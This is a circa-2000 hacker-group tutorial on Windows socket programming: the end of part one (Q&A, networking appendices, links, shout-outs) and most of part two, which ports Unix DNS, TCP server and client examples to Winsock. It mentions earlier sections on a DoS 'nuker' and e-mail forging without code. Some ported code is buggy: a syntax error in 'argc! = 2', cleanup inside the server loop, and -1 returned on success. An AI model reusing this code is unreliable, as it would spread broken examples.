difference with this program is that some cgi programs dont allow certain characters like "/"
 
for example. In the program we loop trough the message and remove all of the illegal characters
 
and while were at it we also replace all of the spaces " " with plus's "+"'s, another requirment
 
of the cgi script.
 
 
 
The formatted message is then sent to the server.
 
 
 
[ EXCERCISES]
 
 
 
Write a program that loads sites from a file and adds them to the webcrawler search engine.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
11.0 LAST WORDS
 
=======================================
 
 
 
Well thats it for this tutorial, or at least this part of it. More parts are planned so hopefully you
 
should see them on blacksun soon :). This part covered the basics of windows programming, there was
 
no point in writing about unix programming as bracaman has released a very good tutorial on basic unix
 
sockets programming which is available from blacksun.box.sk and code.box.sk.
 
 
 
I will be discussing Unix sockets again however in the next part of this tutorial but mostly in a porting
 
sense. To see whats planned for future parts so far just look down :).
 
 
 
 
 
Part 2. -  GENERAL SOCKETS - Porting to windows and cross platform code.
 
Part 3. -  RAW Sockets     - Have more control over packets with raw sockets.
 
Part 4. -  ADVANCED        - A real world example by building an internet communication suite.
 
Part 5. -  FINISHING OFF   - Putting it all together in one big program.
 
 
 
So thats whats still to come, but I may change some of these future tutorials at any time before there released
 
if I do so it will be to improve the series.
 
 
 
The following Appendix's contain some information that hopefully will be of use to you.
 
 
 
Well thank you for reading this tutorial and visit my website to keep up to date with the series and for
 
add on code and articles to the series.
 
 
 
- BR ;)
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
QUESTIONS AND ANSWERS
 
=======================================
 
 
 
This section doesn't just describe Socket programming but has 1 or 2 questions on internet enabling an
 
application also.
 
 
 
==============================================================================
 
 
 
Q. How do I open a web page up in Internet Explorer/Netscape Navigator?
 
 
 
A. You can open up a url in the default web browser by using shell execute.
 
 
 
#include 
 
#include 
 
 
 
ShellExecute(Handle,"open","http://www.company.com", //Put your website address here
 
              NULL,NULL,SW_SHOWDEFAULT);
 
 
 
 
 
If you replace ftp://ftp.company.com it will open an ftp site and replacing with
 
mailto:email@company.com will provide you with e-mail support.
 
 
 
==============================================================================
 
 
 
Q. How do I periodically download files?
 
 
 
A. You can either use WinInet's API to do so or use WinSock, like HTTP's GET method.
 
 
 
==============================================================================
 
 
 
Q. How do I make a Web Browser.
 
 
 
A. A web browser would require alot of work, beyond just downloading the files but parsing them formatting,
 
   Displaying the results, incorporating FTP and CGI support for downloading and for using forms.
 
   Calling default Mail Client, Supporting standards and scripts like html javascript xml css vbscript and 
 
   others and then keeping up to date with new versions of these standards and dont even get me started on
 
   security issues and e-commerce transaction!!!
 
 
 
   or you can use the MS Internet Explorer Active-X control which once you understand it you can use it as
 
   easily as adding a richedit or listbox to a program.
 
 
 
   NOTE. For educational institutes you can also download the source code for NCSA mosaic or you can also
 
   download the source for Mozilla.
 
 
 
==============================================================================
 
 
 
Q. How do I get more control over IP Packets?
 
 
 
A. You can use RAW sockets, a method we will be discussing more in Part 3 of this tutorial.
 
 
 
==============================================================================
 
 
 
 
 
==============================================================================
 
 
 
Q. Why am I getting all of these linker errors when I try and compile the program?
 
 
 
A. You have to be sure and add Wsock32.lib to the link list in your compiler settings.
 
   (for every program!)
 
 
 
==============================================================================
 
 
 
If you have any questions that you'd like to see here or want answered then e-mail me at cos125@hotmail.com
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
APPENDIX A - THE COMPILER
 
=======================================
 
 
 
All of the programs in this tutorial have been tested under Microsoft Visual C++ 6.0 and im running
 
Windows 2000 Professional edition and I have a Intel Pentium 2.
 
 
 
To set up compiler for winsock programming you need to link Wsock32.lib to your project. Under Visual C++
 
do the following.
 
 
 
1. Select the File view tab.
 
2. Right Click the files menu and goto Settings.
 
3. Select the Link tab in Project Settings.
 
4. Add Wsock32.lib to the list of .lib files and press ok.
 
 
 
The winsock.h header file is included in windows.h so dont worry about that :).
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
APPENDIX B - IP AND PORT NUMBERS
 
=======================================
 
 
 
Both TCP and UDP rely upon IP in order to get where they are going, UDP just does it faster and TCP is 
 
just more reliable at it. The main similarity is there addressing scheme. Both protocols use IP address's 
 
and port numbers to get where they are going.
 
 
 
An IP number or "internet address" is provided to every computer connected to a network such as the internet. 
 
It takes a form of 4 decimal numbers, each one 8 bits (or one octet) in length. 
 
 
 
The word octet is used instead of 1 byte because TCP is implamented on many computers that contain more 
 
than 8 bits in a byte. The address looks like this 127.0.0.1 and is used to describe which computer on 
 
which network it is. The number 128.6 is the address of a network provided by a central authority.  
 
128.6.4 would be a sub network of the previous, and 194 would be the target computers number within that 
 
network.
 
 
 
 
 
1. 128.6        -  A network
 
2. 128.6.4      -  A sub network
 
3. 128.6.4.194  -  Computer within the sub network
 
 
 
 
 
Imagine a computer on the net that was running an FTP server (FTP is a protocol used to transfer files 
 
across the internet from 1 computer to another (the File Transfer Protocol)) and also wanted to run 
 
several other servers, such as a Time Server (Time is a protocol developed to allow remote computers to 
 
view the local time on a host) and a http server(a web server which is what sends you web pages such as 
 
the tutorials page of http://blacksun.box.sk).
 
 
 
Well if some-1 was to request a file from the ftp server then how would the computer know that the request 
 
was for the ftp server and not the time or http server? 
 
 
 
For this reason each server runs on a specific port. A server connects itself to a default port, 21 for 
 
FTP, 13 for Time and 80 for HTTP. When the request for the file is sent in a packet the computer looks at 
 
the TCP or UDP header. A field in these headers is called the port field and contains the number of the 
 
server that is wants to talk to. So an FTP's TCP header for example would contain a number of 21 in the 
 
port field.
 
 
 
Ports are simply a way of differentiating between what server gets what messages.
 
 
 
These two requirments (The IP address and Port number) are just the parts of the computers over all address, 
 
like the different parts of a mail address, ie; Street Address, City, State/Province, Postal Code, Country.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
APPENDIX C - SERVERS AND CLIENTS
 
=======================================
 
 
 
The names servers and clients are given to two different kinds of computer on the internet. If you were
 
viewing a web page on the internet with internet explorer or netscape navigator you would be reffered
 
to as a client and the computer which stores the web page your looking at is reffered to as the server.
 
 
 
A server is any computer connected to a network which is running a program that provides a service to others.
 
A client is a computer that connects to this computer and avails of this service.
 
 
 
Each one is just different ends of a connection and these names are also used to describe the programs that
 
provide or avail of these services.
 
 
 
The apache http server is a program that provides a service and is known as a web server.
 
Internet Explorer
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
APPENDIX D - ROUTERS AND GATEWAYS
 
=======================================
 
 
 
Routers and gateways are both basically the same thing. If you wanted to you could say that all computers
 
connected to the internet can fall under 2 categories, the first being servers and clients and the second
 
being routers and gateways.
 
 
 
Servers and clients provide ends of a connection but in order for information to travel from one computer
 
to another on the internet it must pass trough other networks, hence the phrase internet or interconnected
 
networks.
 
 
 
A router or gateway has a connection to more than one network so that it can pass information between one
 
network and another. Information that passes from my computer in ireland thats going to a computer in like
 
California or Delhi will pass trough several routers or gateways between the two computers. The purpose of
 
these computers is only to pass the information from one to the other to get the info where its going to in
 
as fast a time as possible.
 
 
 
 
 
 
 
 
 
              __
 
             /  \
 
            |    |   - SERVER
 
             \__/
 
 
 
            |
 
            |
 
            |
 
             \
 
              \
 
               \
 
                \
 
                 \
 
                   __
 
                  /  \
 
                 |    |   - ROUTER/GATEWAY
 
                  \__/
 
                /   
 
               /    
 
              /
 
             /
 
            /
 
            |      
 
            |
 
            |
 
            __
 
           /  \
 
          |    |   - ROUTER/GATEWAY
 
           \__/
 
 
 
            |
 
            |
 
            |
 
            |
 
            |
 
             \__
 
             /  \
 
            |    |   - CLIENT
 
             \__/
 
 
 
 
 
      
 
 
 
      FIG 6. - Packets traveling from a client to server trough routers/gateways.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
APPENDIX E - FURTHER READING
 
=======================================
 
 
 
[ TUTORIALS ]
 
 
 
There is a large amount of tutorials available from blacksun.box.sk and from code.box.sk.
 
I suggest that you read any of these pertaining to programming and networking.
 
 
 
Some of these Programs and sections are linked with other BSRF tutorials.
 
 
 
=========================================================================================================
 
 
 
Sections 2.4 to 3.2 dealt with the basics of Sockets programming and was mostly inspired by bracamans
 
tutorial "BASIC C Socket Programming In Unix For Newbies" available from blacksun.box.sk and code.box.sk.
 
 
 
Sections 5.1, 5.2 and section 8 dealt with the Info Gathering tutorial from Raven.
 
 
 
Section 5.3 - Nuker, The Nuke program is dealt with in the tutorial on DoS attacks.
 
 
 
Section 6.0 Forging e-mail was discussed in the SMTP tutorial and anonymity tutorial also by raven.
 
 
 
Section 7.0 FTP is discussed in its relative tutorial.
 
 
 
=========================================================================================================
 
 
 
 
 
[ BOOKS ]
 
 
 
There are a few books out there on Windows socket programming so off the top of my head;
 
 
 
Programming Winsock by Arthur Dumas
 
Windows Sockets Network Programming by Bob Quinn and David K. Shute
 
 
 
Also I feel I should mention the book,
 
Programming Windows Fifth Edition by Charles Petzold.
 
 
 
Altough the information on socket programming or WinInet programming is limited it is a great book on
 
windows vc++ in general and would come in very useful.
 
 
 
 
 
[ VENDOR SPECIFIC DOCUMENTS ]
 
 
 
Intel and Nokia's Narrowband Sockets Specification - A winsock API and SDK for wireless pagers and cell
 
phones.
 
 
 
 
 
[ ON THE NET ]
 
 
 
http://www.geocities.com/winnetprogram
 
 
 
http://www.microsoft.com/win32dev/netwrk/winsock2/ws295sdk.html
 
 
 
http://www.stardust.com/welcome.html Some Information on Winsock.
 
 
 
http://www.cis.ohio-state.edu/hypertext/faq/usenet/ibmpc-tcp-ip-faq/part1/faq.html  -  A FAQ.
 
ftp://SunSite.UNC.EDU/pub/micro/pc-stuff/ms-windows/winsock/FAQ  -  Winsock specification FAQ.
 
 
 
http://world.std.com/~jimf/papers/sockets/sockets.html  -  BSD Sockets.
 
 
 
 
 
ftp://ftp.microsoft.com/bussys/winsock/winsock2
 
 
 
 
 
[ MAILING LIST ]
 
 
 
There should be a mailing list available on the website, www.geocities.com/winnetprogram
 
 
 
 
 
Send an e-mail to listserv@mailbag.intel.com
 
make sure the subject line is blank and have the following line of text in the body ONLY
 
 
 
subscribe winsock-2
 
 
 
 
 
And you will be subscribed to the winsock mailing list :). 
 
Visit http://www.stardust.com/hypermail/winsock2 for the mailing list archive.
 
 
 
Visit http://www.stardust.com/wsresource/winsock/wslists.html for some mailing lists.
 
 
 
 
 
[ NETWORK PAPERS ]
 
 
 
An excellent paper on the internet and protocols is Hedricks, Introduction to the Internet Protocols
 
available from packetstorm.securify.com
 
 
 
 
 
[ RFC'S ]
 
 
 
RFC stands for Request For Comment and this is how protocols are made. Before HTTP or FTP were protocols
 
they were released as RFC's then implemented. RFC's also contain information on networks.
 
 
 
rfc1009      	-  Overview of Routers and Gateways.
 
 
 
rfc973      	-  An update for domains.
 
 
 
rfc959      	-  FTP
 
 
 
rfc937      	-  POP2
 
 
 
rfc854/5      	-  Telnet
 
 
 
rfc814      	-  Names and Ports
 
 
 
rfc793      	-  TCP
 
 
 
rfc792      	-  ICMP
 
 
 
rfc791      	-  IP
 
 
 
rfc768      	-  UDP
 
 
 
 
 
[ NEWS GROUPS ]
 
 
 
USENET
 
 
 
alt.winsock.programming
 
comp.os.ms-windows.programmer.tools.winsock. 
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
 
 
APPENDIX F - CODE
 
=======================================
 
 
 
 
 
[ SOURCE CODE ]
 
 
 
http://www.neca.com/~vmis/  -  Some good source code and tutorials.
 
 
 
ftp://ftp.ksc.nasa.gov/pub/winvn/source/current/winvn  -  WinVN NNTP Newsreader.
 
 
 
ftp://ftp.stardust.com/pub/winsock/version1/sample/wsftpsrc.zip  -  WS_FTP FTP client.
 
 
 
ftp://ftp.mv.com/pub/ddj/1993/1993.02/1993-feb.zip  -  Finger client/server.
 
 
 
ftp://ftp.cdrom.com/.22/cica/win3/winsock/serweb03.zip  -  WWW server.
 
 
 
http://www.goodnet.com/~esnible/mercwsrc.zip  -  A MUD server ported from Unix to Windows.
 
 
 
http://www.codeproject.com  -  Contains articles, tutorials and source code for internet programming,
 
multiple languages.
 
 
 
 
 
 
 
[ Visual Components ]
 
 
 
There are several visual components available for Borland C++ Builder and for Delphi.
 
Some of these also come in Active-X versions so you can use them with other development environments
 
like Visual Basic.
 
 
 
IP works from DevSoft (www.dev-soft.com) is a commercial TCP/IP suite with several components for 
 
internet programming.
 
 
 
Some free Open Source ones are also available (Keep it Open!) such as
 
 
 
Francois Piettes components from www.rtfm.be/fpiette/indexuk.htm.
 
 
 
 
 
________________________________________________________________________________________________________
 
 
 
 
 
[ SHOUTS! ]
 
 
 
Thanks to every-1 that helped with this tutorial...   well no-1 would actually give me aby
 
help so screw you guys lol,
 
but thanks to all the guys at bsrf for having the patience for putting up with all my delays.
 
And of course shouts out to the usual suspects!!
 
 
 
Starman Jones     - you crazy little bastard.
 
Vsus              - haven't heard from ya in a while.
 
Exit              - haven't even met you at all but jonsie has been tellin stories
 
Delusive          - Delusive's breasts owns j00!!!!
 
Bracaman          - For inspiration!!!!
 
 
 










Windows Internet Programming Part2





 

 
              _________________
 
             /_               /\  
 
              \/  _______    /  \
 
              /  /      /   /   /
 
             /  /______/   /   /
 
            /           __/   /
 
           /  _______   \  __/
 
          /  /      /   /  \
 
         /  /______/   /   / 
 
       _/             /   /      
 
      /______________/   /       BLACK SUN RESEARCH FACILITY
 
      \              \  /      	   HTTP://BLACKSUN.BOX.SK
 
       \______________\/
 
 
 
 
 

 
 
 
 
 
WINDOWS INTERNET PROGRAMMING {part 2}
 
=================================================
 
 
 
 
 
 
 
   WRITTEN BY                 [ cos125@hotmail.com                :E-MAIL    ]      
 
           BINARY RAPE        [ 114603188                         :ICQ#      ]      
 
                              [ www.geocities.com/wininetprogram  :WEB SITE  ]
 
                              [ http://blacksun.box.sk            :TURORIALS ]      
 
 
 
 
 
 
 
 
 
 
 
Thanks to cyberwolf for letting me write this and BSRF for releasing it.
 
 
 
 
 
 
 
 
 
 
 

Disclaimer

None of the information or code in this tutorial is meant to be used against others
or to purposely damage computer systems and/or cause any loss of or damage to property.

Further more, neither myself or any other contributor to, or member of, the Blacksun
research Facility (BSRF) can be held responsible for damage or loss of property to
computer systems as a result of this tutorial.

In this tutorial the code is provided as a learning aid so you can see how its done
its not meant for you to use against yourself or others.

If you don't agree with any of this then please stop reading......      now!

CONTENTS

1.  Introduction
2.  UNIX and Windows
3.  Error Codes
4.  Port Numbers
5.  Include Files
   - 5.1 socket()
    -5.2 bind()
    -5.3 connect()
    -5.4 listen()
    -5.5 accept()
    -5.6 gethostname()

6.  Common Functions
7.  Renamed Functions
8.  Blocking Routines
9.  Additional Functions
10. Porting Code
    -10.1 DNS Program
    -10.2 Streaming Server
    -10.3 Streaming Client

11. Planning
12. Last Words

    APPENDIXES

    A - The Compiler

______________________
1.0 INTRODUCTION
 

In the last part in this series of tutorials I discussed windows sockets programming using
the winsock API and in that document I mentioned that the windows Sockets implementation is
based on the Berkeley Sockets idea, therefore socket programming on systems such as UNIX
and Linux, which are also based on the Berkeley API would be quiet similar. This aids us
in porting from platform to platform, making it easy to move whole programs from UNIX to
windows in a very short time.

This tutorial will discuss and illustrate the differences in code and functions between the
platforms and sample source code and applications will be provided to show how to port the
applications piece by piece.

I suggest that you first read Part 1 in this series of tutorials and also Bracaman's basic
UNIX sockets tutorial, also available from blacksun.box.sk and also from code.box.sk.

Any add on information for this tutorial and updates are available as usual from:
http://www.geocities.com/winnetprogram.
 



 

2.0 UNIX AND WINDOWS
=====================

Unix and Windows handle sockets differently, UNIX treats sockets the same as a file handle
which is a small integer while in windows it is an unsigned type called SOCKET.

So from the start UNIX and windows actually think of there respective sockets differently.

To best explain the differences the following is an exert from bracamans tutorial and
describes sockets from the Unix point of view:
 

"In a very simple way, a socket is a way to talk to other computer.

To be more precise, it's a way to talk to other computers using standard Unix file
descriptors.

In Unix, every I/O actions are done by writing or reading to a file descriptor. A file
descriptor is just an integer associated with an open file and it can be a network connection,
a terminal, or something else."
 



 

3.0 ERROR CODES
=======================================

In UNIX error codes are available trough the errno variable. In windows we use the function
WSAGetLastError() to obtain these error codes.
 

_________________________

4.0 PORT NUMBERS
=======================================

In both Unix and Windows you define the port numbers by entering the destination port number
as a parameter to the function htons(), however in winsock.h several port numbers are defined
for common ports so that you can also use these.

The following is a list of the default names and there relative port numbers:

 
 
 
1.  IPPORT_ECHO             -  7
 
2.  IPPORT_DISCARD          -  9
 
3.  IPPORT_SYSTAT           -  11
 
4.  IPPORT_DAYTIME          -  13
 
5.  IPPORT_NETSTAT          -  15
 
6.  IPPORT_FTP              -  21
 
7.  IPPORT_TELNET           -  23
 
8.  IPPORT_SMTP             -  25
 
9.  IPPORT_TIMESERVER       -  37
 
10. IPPORT_NAMESERVER       -  42
 
11. IPPORT_WHOIS            -  43
 
12. IPPORT_MTP              -  57
 



 

5.0 INCLUDE FILES
=======================================

In UNIX there are a number of include files to use in socket programming, following is a
list of these functions and related #include files:
 

5.1 socket()

      [ #include <sys/types.h>  ]
      [ #include <sys/socket.h> ]
 

5.2 bind()

      [ #include <sys/types.h>  ]
      [ #include <sys/socket.h> ]
 

5.3 connect()

      [ #include <sys/types.h>  ]
      [ #include <sys/socket.h> ]
 

5.4 listen()

      [ #include <sys/types.h>  ]
      [ #include <sys/socket.h> ]
 

5.5 accept()

      [ #include <sys/socket.h> ]

5.6 gethostname()

  [ #include <netdb.h>   ]
 
 

You will need some general socket include files also in UNIX programming:

#include <netinet/in.h>
#include <arpa/inet.h>
 

Your average list of include files at the top of a UNIX socket program would therefore
look something like the following:

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
 

In windows the header file for socket and internet programming is contained in windows.h,
therefore the top of a windows socket programming would look like this:

#include <windows.h>

The name of the header file for windows socket programming is winsock.h and including
this file in your project as well wont cause any errors of course but there’s just no need.

Windows programs also need to be linked to the file Wsock32.lib before they can be
compiled.

Consult your compilers documents for further information on this or proceed to Appendix 1
- The compiler.



6.0COMMON FUNCTIONS
=======================================

Both Unix and Windows sockets have a set of functions common to both platforms. These are
mostly the functions dealing with TCP and UDP and all conversion functions and structures
are the same for both platforms.

For example htons() and inet_addr() are the same on both platforms, also so is the
structures sockaddr and sockaddr_in.
 

Here is a list of common functions.

1.  Socket()

2.  Bind()

3.  Listen()

4.  Connect()

5.  Accept()

6.  Send()

7.  Recv()

8.  Sendto()

9.  Recvfrom()

10. Gethostname()
 



 

7.0 RENAMED FUNCTIONS
=======================================

There are some functions which exist in both windows and UNIX socket programming but
during the conversion the names have changed slightly.

The following table contains a comparison of renamed functions in windows and UNIX.

 
 
 
	+===============+==================+
 
	| Unix Function | Windows Function |
 
	+===============+==================+
 
	|    close()    |   closesocket()  |
 
	+---------------+------------------+
 
	|    ioctl()    |   ioctlsocket()  |
 
	+---------------+------------------+
 
	|     read()    |      recv()      |
 
	+---------------+------------------+
 
	|    write()    |      send()      |
 
	+---------------+------------------+
 

 FIG 1. - Comparison of Windows and Unix Socket functions.
 



 

8.0 BLOCKING ROUTINES
=======================================

In windows you can use blocking routines but they are not recommended. In windows 3.1
using the event driven paradigm it is possible to have a blocked operation disturbed
by other event driven activity.

Soon you will not be able to have blocking routines in Winsock applications so it is
not recommended you use them at all in this scenario as this would limit distribution
possibilities.
 



 

9.0 ADDITIONAL FUNCTIONS
=======================================

In windows there are some functions which aren't seen in UNIX sockets. In every
windows socket program you must call WSAStarup() before you can call any socket
functions or use any code.

Additionally every WSAStartup() function has a corresponding WSACleanup() which
shuts down the Winsock and cleans up after us.

Every Windows socket program must contain both of these functions.
 



 

10.0 PORTING CODE
=======================================

Now that we have discussed the different parts of the program in Unix and its relevant
Windows parts we can look at some real code.
 
 

[ 10.1 ] DNS PROGRAM

The first program we come across is Bracamans DNS application. Here’s the Unix Code.

/* <---- SOURCE CODE STARTS HERE ----> */

#include <stdio.h>
#include <netdb.h>   /* This is the header file needed for gethostbyname() */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 

int main(int argc, char *argv[])
{
  struct hostent *he;

  if (argc!=2){
     printf("Usage: %s <hostname>\n",argv[0]);
     exit(-1);
  }

  if ((he=gethostbyname(argv[1]))==NULL){
     printf("gethostbyname() error\n");
     exit(-1);
  }

  printf("Hostname : %s\n",he->h_name);  /* prints the hostname */
  printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr))); /* prints IP address */
}
/* <---- SOURCE CODE ENDS HERE ----> */
 
 

This is a very small but still a very useful program. If we attempt to compile this
right away under Microsoft Visual C++ We will get an error saying that it can not
find an include file, so our first duty is to remove all of the Unix Socket include
files and replace them with the line:

#include <windows.h>

remembering to leave stdio.h right where it is.
When I tried compiling it now I got several more errors so I changed the
main() fuction from what it is above to:

void main(int argc, char **argv) and the program then compiled.

However I then got several linker errors. Remember when socket programming on windows
you must link to the file Wsock32.lib.

After I linked to the proper .lib file the program compiles perfectly, without the
need to touch a single line of the socket code!!

This is how compatible different platforms can be with socket code, however this is a
very small program and this is not usually the case. The following is the windows
source code for the port of Bracamans DNS program.

Remember you will get an error unless you include WSAStartup() and WSACleanup()!!
 

/* <---- SOURCE CODE STARTS HERE ----> */

#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{

  WSADATA  wsdata;

  WSAStartup(0x0101,&wsdata);

  struct hostent *he;

  if (argc! = 2)
  {
     printf("Usage: %s hostname\n",argv[0]);
     return -1;
  }

  if ((he = gethostbyname(argv[1])) == NULL)
  {
     printf("gethostbyname() error\n");
     return -1;
  }

  printf("Hostname : %s\n",he->h_name);       /* prints the hostname */
  printf("IP Address: %s\n",inet_ntoa(*((struct in_addr *)he->h_addr)));  /* prints IP address */

  WSACleanup();
  return -1;

}
/* <---- SOURCE CODE ENDS HERE ----> */
 

This program has almost as few lines as the UNIX alternative and requires practically
no porting at all!

Like I said you wouldn’t usually have a program that runs on windows with such little altering.
Lets discuss porting Bracamans TCP streaming server.
 

[ 10.2 ] STREAMING SERVER
 

/* <---- SOURCE CODE STARTS HERE ----> */

#include <stdio.h>          /* These are the usual header files */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
 

#define PORT 3550   /* Port that will be opened */
#define BACKLOG 2   /* Number of allowed connections */

main()
{
 
  int fd, fd2; /* file descriptors */

  struct sockaddr_in server; /* server's address information */
  struct sockaddr_in client; /* client's address information */

  int sin_size;
 

  if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){  /* calls socket() */
    printf("socket() error\n");
    exit(-1);
  }

  server.sin_family = AF_INET;
  server.sin_port = htons(PORT);   /* Remember htons() from "Conversions" section? =) */
  server.sin_addr.s_addr = INADDR_ANY;  /* INADDR_ANY puts your IP address automatically */
  bzero(&(server.sin_zero),8); /* zero the rest of the structure */

 
  if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){ /* calls bind() */
      printf("bind() error\n");
      exit(-1);
  }

  if(listen(fd,BACKLOG) == -1){  /* calls listen() */
      printf("listen() error\n");
      exit(-1);
  }

while(1){
  sin_size=sizeof(struct sockaddr_in);
  if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){ /* calls accept() */
    printf("accept() error\n");
    exit(-1);
  }
 
  printf("You got a connection from %s\n",inet_ntoa(client.sin_addr) ); /* prints client's IP */
 
  send(fd2,"Welcome to my server.\n",22,0); /* send to the client welcome message */
 
  close(fd2); /*  close fd2 */
}
}

/* <---- SOURCE CODE ENDS HERE ----> */
 
 

Well lets try and compile shall we...
 

Straight away we should clear the obvious problems, link to Winsock32.lib and
only include windows.h and stdio.h.

Having done so we receive 2 errors, the first pertains to bzero which we do not
have in our little program so we are going to just remove the line that contains
it. Once we do so we now have only 1 error, woohoo!

This error tells us that the function close() is not a valid identifier which is
what I said earlier, close() has been replaced by closesocket() in windows so we
change that as well to closesocket().

We run this program and we recieve a socket error :(. But remember we never entered
WSAStartup() and WSACleanup() in this program so we have to do that first and then
our program will work :).

If you run the program the command prompt should remain blank, just leave the program
as it is now and move onto the next section to figure out where to go from here!!

First of course here’s the Windows code for the port ;).
 

/* <---- SOURCE CODE STARTS HERE ----> */

#include <stdio.h>               /* These are the usual header files */
#include <windows.h>
 

#define PORT 3550         /* Port that will be opened */
#define BACKLOG 2         /* Number of allowed connections */

main()
{
  WSADATA  wsdata;

  WSAStartup(0x0101,&wsdata);

  int fd, fd2;        /* file descriptors */
 

  struct sockaddr_in server;      /* server's address information */
  struct sockaddr_in client;      /* client's address information */

  int sin_size;
 

  if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 )    /* calls socket() */
  {
    printf("socket() error\n");
    exit(-1);
  }

  server.sin_family       = AF_INET;
  server.sin_port         = htons(PORT);      /* Remember htons() from "Conversions" section? =) */
  server.sin_addr.s_addr  = INADDR_ANY;     /* INADDR_ANY puts your IP address automatically */

 
  if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1)       /* calls bind() */
  {
      printf("bind() error\n");
      exit(-1);
  }
 

  if(listen(fd,BACKLOG) == -1)      /* calls listen() */
  {
      printf("listen() error\n");
      exit(-1);
  }
 

while(1)
  {
  sin_size=sizeof(struct sockaddr_in);

  if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size)) == -1)         /* calls accept() */
  {
      printf("accept() error\n");
      exit(-1);
  }
 
  printf("You got a connection from %s\n",inet_ntoa(client.sin_addr) );      /* prints client's IP */
 
  send(fd2,"Welcome to my server.\n",22,0);    /* send to the client welcome message */
 
  closesocket(fd2);       /*  close fd2 */

 
   WSACleanup();
      return -1;
}
}

/* <---- SOURCE CODE ENDS HERE ----> */
 
 

[ 10.3 ] STREAMING CLIENT
 
 

/* <---- SOURCE CODE STARTS HERE ----> */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>        /* netbd.h is needed for struct hostent =) */

#define PORT 3550   /* Open Port on Remote Host */
#define MAXDATASIZE 100   /* Max number of bytes of data */

int main(int argc, char *argv[])
{
  int fd, numbytes;   /* files descriptors */
  char buf[MAXDATASIZE];  /* buf will store received text */
 
  struct hostent *he;         /* structure that will get information about remote host */
  struct sockaddr_in server;  /* server's address information */

  if (argc !=2) {       /* this is used because our program will need one argument (IP) */
    printf("Usage: %s <IP Address>\n",argv[0]);
    exit(-1);
  }

  if ((he=gethostbyname(argv[1]))==NULL){ /* calls gethostbyname() */
    printf("gethostbyname() error\n");
    exit(-1);
  }

  if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  /* calls socket() */
    printf("socket() error\n");
    exit(-1);
  }

  server.sin_family = AF_INET;
  server.sin_port = htons(PORT); /* htons() is needed again */
  server.sin_addr = *((struct in_addr *)he->h_addr);  /*he->h_addr passes "*he"'s info to "h_addr" */
  bzero(&(server.sin_zero),8);

  if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1){ /* calls connect() */
    printf("connect() error\n");
    exit(-1);
  }

  if ((numbytes=recv(fd,buf,MAXDATASIZE,0)) == -1){  /* calls recv() */
    printf("recv() error\n");
    exit(-1);
  }

      buf[numbytes]='\0';

      printf("Server Message: %s\n",buf); /* it prints server's welcome message =) */

      close(fd);   /* close fd =) */
}

/* <---- SOURCE CODE ENDS HERE ----> */
 

That’s the source code for the Unix client and of course the windows one doesn't
look very different.
 

/* <---- SOURCE CODE STARTS HERE ----> */

#include <windows.h>
#include <stdio.h>

#define PORT 3550       /* Open Port on Remote Host */
#define MAXDATASIZE 100      /* Max number of bytes of data */

int main(int argc, char *argv[])
{
  WSADATA  wsdata;

  WSAStartup(0x0101,&wsdata);

  int fd, numbytes;      /* files descriptors */
  char buf[MAXDATASIZE];     /* buf will store received text */
 
  struct hostent *he;           /* structure that will get information about remote host */
  struct sockaddr_in server;    /* server's address information */

  if (argc !=2) {          /* this is used because our program will need one argument (IP) */
    printf("Usage: %s <IP Address>\n",argv[0]);
    exit(-1);
  }

  if ((he=gethostbyname(argv[1])) == NULL){ /* calls gethostbyname() */
    printf("gethostbyname() error\n");
    exit(-1);
  }

  if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1) /* calls socket() */
  {
    printf("socket() error\n");
    exit(-1);
  }

  server.sin_family  = AF_INET;
  server.sin_port    = htons(PORT);     /* htons() is needed again */
  server.sin_addr    = *((struct in_addr *)he->h_addr);   /*he->h_addr passes "*he"'s info to "h_addr" */
 

  if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1)  /* calls connect() */
  {
    printf("connect() error\n");
    exit(-1);
  }

  if ((numbytes=recv(fd,buf,MAXDATASIZE,0)) == -1)    /* calls recv() */
  {
    printf("recv() error\n");
    exit(-1);
  }

      buf[numbytes] = '\0';

      printf("Server Message: %s\n",buf);    /* it prints server's welcome message =) */

      closesocket(fd);         /* close fd =) */

      WSACleanup();
      return -1;
}

/* <---- SOURCE CODE ENDS HERE ----> */
 

There’s actually no real difference with this port and the last. The same lines are
changed and the same functions are included as before.

Start the program by switching to its directory on the command line and typing

streamclient.exe local host

Where streamclient.exe is the name of the stream client program we just ported
naturally :).

Just make sure that the previous example, the streaming server is running and
your away. The screen will print the line "Welcome to my server." Congratulations
you’ve ported your first Unix Socket client and server to windows and you received
a line of text back from your own server :).



 
 

11.0 Planning
=======================================

When porting its probably best to go trough things like a check list before attempting
to compile the bloody thing. Here’s a list of some recommendations to run trough first.

1. Replace all network header files with windows.h or winsock.h.
2. Make sure to add WSAStartup() and WSACleanup() before and after the code.
3. Replace functions such as close() and ioctl() with windows counterparts.
4. Take care of problems such as bzero() and add any windows specific features like
   default ports.
 

With so few and simple operations like this it would be pretty damn easy to write
a program that performs these actions for you, I doubt it would be complete but hey
it would save you a lot of time in the long run, especially with larger applications.



 
 

12.0 LAST WORDS
==============

Well that’s it for this tutorial, or at least this part of it. More parts are planned so
